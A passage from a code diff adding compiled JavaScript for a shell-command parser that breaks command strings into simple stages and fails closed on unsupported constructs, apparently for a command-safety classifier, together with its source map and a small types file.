+ function walkStmt(stmt, out) {
110
+ const cmd = stmt.Cmd;
111
+ if (!cmd)
112
+ throw new Unsupported("empty_statement");
113
+ const t = syntax.NodeType(cmd);
114
+ if (t === "CallExpr") {
115
+ const args = (cmd.Args ?? []);
116
+ const argv = args.map(wordToArgToken);
117
+ const redirects = stmtRedirects(stmt);
118
+ const background = Boolean(stmt.Background);
119
+ const negated = Boolean(stmt.Negated);
120
+ const hasSubstitution = argv.some((a) => a.hasSubstitution) || redirects.some((r) => r.target.hasSubstitution);
121
+ out.stages.push({ argv, redirects, hasSubstitution, background, negated });
122
+ return;
123
+ }
124
+ if (t === "BinaryCmd") {
125
+ // A BinaryCmd's own wrapping Stmt carrying redirects/background of its
126
+ // own is a construct we don't need in practice (`(a && b) > f` is a
127
+ // Subshell, not a bare BinaryCmd) but guard it anyway.
128
+ if (stmtRedirects(stmt).length > 0 || stmt.Background) {
129
+ throw new Unsupported("unsupported_binarycmd_wrapper");
130
+ }
131
+ const opNum = Number(cmd.Op);
132
+ const op = BIN_OP[opNum];
133
+ if (!op)
134
+ throw new Unsupported(`unknown_binary_operator_${opNum}`);
135
+ const x = cmd.X;
136
+ const y = cmd.Y;
137
+ if (!x || !y)
138
+ throw new Unsupported("malformed_binary_command");
139
+ walkStmt(x, out);
140
+ out.operators.push(op);
141
+ walkStmt(y, out);
142
+ return;
143
+ }
144
+ // Subshell, Block, IfClause, WhileClause, ForClause, CaseClause,
145
+ // FuncDecl, ArithmCmd, TestClause, DeclClause, LetClause, TimeClause,
146
+ // CoprocClause, and anything else: not modeled, fail closed.
147
+ throw new Unsupported(`unsupported_construct_${t}`);
148
+ }
149
+ /** Parses a normalized command string into a flat pipeline of simple
150
+ * commands. Never throws -- parse/structural failures come back as
151
+ * `{ ok: false }` so callers (classify.ts) can fail closed. */
152
+ export function parseShellCommand(normalized) {
153
+ let file;
154
+ try {
155
+ file = parser.Parse(normalized, "cmd.sh");
156
+ }
157
+ catch (err) {
158
+ return { ok: false, reason: `parse_error: ${err instanceof Error ? String(err.message ?? err) : String(err)}`, raw: normalized };
159
+ }
160
+ const stmts = (file.Stmts ?? []);
161
+ if (stmts.length === 0) {
162
+ return { ok: false, reason: "empty_command", raw: normalized };
163
+ }
164
+ const out = { stages: [], operators: [] };
165
+ try {
166
+ for (let i = 0; i < stmts.length; i++) {
167
+ walkStmt(stmts[i], out);
168
+ const isLast = i === stmts.length - 1;
169
+ if (!isLast) {
170
+ // Top-level statements in the File's Stmts list are sequenced by
171
+ // `;`/newline, unless the preceding one was backgrounded with `&`.
172
+ const prevBackground = Boolean(stmts[i].Background);
173
+ out.operators.push(prevBackground ? "&" : ";");
174
+ }
175
+ }
176
+ }
177
+ catch (err) {
178
+ const reason = err instanceof Unsupported ? err.message : `parse_error: ${String(err)}`;
179
+ return { ok: false, reason, raw: normalized };
180
+ }
181
+ const parsed = { ok: true, stages: out.stages, operators: out.operators, raw: normalized };
182
+ return parsed;
183
+ }
184
+ //# sourceMappingURL=shellParse.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"shellParse.js","sourceRoot":"","sources":["../../src/parser/shellParse.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,6 @@
1
+ /**
2
+ * Typed representation of a parsed shell command line. This is the ONLY
3
+ * structure classify/ is allowed to reason over -- never the raw string.
4
+ */
5
+ export {};
6
+ //# sourceMappingURL=types.js.map